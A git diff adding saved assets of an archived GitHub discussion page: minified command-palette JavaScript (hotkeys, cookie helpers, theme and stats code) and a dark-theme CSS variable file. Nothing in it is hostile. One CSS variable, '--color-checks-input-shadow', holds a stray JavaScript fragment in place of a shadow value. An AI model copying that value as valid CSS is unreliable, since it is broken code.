loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: 